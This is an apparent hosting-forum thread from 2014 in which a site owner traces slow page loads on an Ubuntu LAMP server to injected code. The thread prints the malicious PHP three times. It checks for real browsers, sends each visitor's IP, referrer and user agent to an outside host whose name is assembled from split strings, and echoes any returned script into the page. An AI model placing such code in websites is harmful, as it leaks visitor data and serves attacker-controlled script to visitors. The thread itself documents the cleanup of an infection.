guillefd
By:
guillefd

I have a website with too high latency, what could be the issue?

October 6, 2014 3k views

The website is link

It takes 15 to 30 seconds to load.
The other 4 sites in the same droplet don´t have issues.
The droplet is LAMP on Ubuntu 14.04

Ive checked:

  • mysql ok
  • php code ok

How can I check if apache has issues?

thanks

6 comments
  • I also noticed that a ping to the droplet does not respond.
    I´ve shutdown linux and power droplet, no change.

  • It's difficult to diagnose without a first hand view of the logs. However. It could be a badly written script in your webapp.

  • Hi,

    I have 5 websites in the droplet: 1 static and 3 moodles, all work fine.
    The 5th is the php app that has high latency, I´ve did a benchmark to the code
    benchmark snapshot and the code loads in 0.0074 secs, it seems the problem has to be before apache process.

  • I have two snapshots that I would like to share:

    1) firebug network timings: http://gyazo.com/8e844dba7bed1ac28ee01f2c99dcd34f
    This shows that DNS is ok, connection is ok, but the waiting time for the html to be sent is 20 seconds.

    2) php app debug http://gyazo.com/e7bcc6cfe27c46fbf0019fd5118f686e
    This show that the php/mysql application takes 0.015 secs to process the output html file.

    So it seems that the problem may be in the apache request, or some apache related config.

    The strange thing is that this was working fine since I´ve uploaded the site, just started yesterday with the issue. Also the other 4 sites in same droplet are working fine.

    I really apreciate any guidance or comment.

    Thanks!

    Guillermo

  • Well, finally the reason of this issue: code injection.
    After deleting all the malicious code, all worked fine again.

    This was the code injected:

    #19f955# 
    error_reporting(0); ini_set('display_errors',0); $wp_p26 = @$_SERVER['HTTP_USER_AGENT'];
    if (( preg_match ('/Gecko|MSIE/i', $wp_p26) && !preg_match ('/bot/i', $wp_p26))){ 
    $wp_p0926="http://"."tag"."includes".".com/includes"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_p26);
    $ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_p0926); 
    curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_26p = curl_exec ($ch); curl_close($ch);} 
    if ( substr($wp_26p,1,3) === 'scr' ){ echo $wp_26p; } 
    #/19f955#
    
  • Use the web developer tools in firefox, or something similar, to look at the network timings associated with loading a page. I recently had a performance issue and after spending too many hours optimizing PHP and database queries I found that the performance issue was actually related to loading static javascript and css content. In the end the problem came down to my apache config which didn't tell browsers to cache content and pages not showing until all the resources were available.

2 Answers

This question was answered by @guillefd:

Well, finally the reason of this issue: code injection.
After deleting all the malicious code, all worked fine again.

This was the code injected:

#19f955# 
error_reporting(0); ini_set('display_errors',0); $wp_p26 = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Gecko|MSIE/i', $wp_p26) && !preg_match ('/bot/i', $wp_p26))){ 
$wp_p0926="http://"."tag"."includes".".com/includes"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_p26);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_p0926); 
curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_26p = curl_exec ($ch); curl_close($ch);} 
if ( substr($wp_26p,1,3) === 'scr' ){ echo $wp_26p; } 
#/19f955#

You can see the comment here.

This question was answered by @guillefd:

Well, finally the reason of this issue: code injection.
After deleting all the malicious code, all worked fine again.

This was the code injected:

#19f955# 
error_reporting(0); ini_set('display_errors',0); $wp_p26 = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Gecko|MSIE/i', $wp_p26) && !preg_match ('/bot/i', $wp_p26))){ 
$wp_p0926="http://"."tag"."includes".".com/includes"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_p26);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_p0926); 
curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_26p = curl_exec ($ch); curl_close($ch);} 
if ( substr($wp_26p,1,3) === 'scr' ){ echo $wp_26p; } 
#/19f955#

View the original comment

Have another answer? Share your knowledge.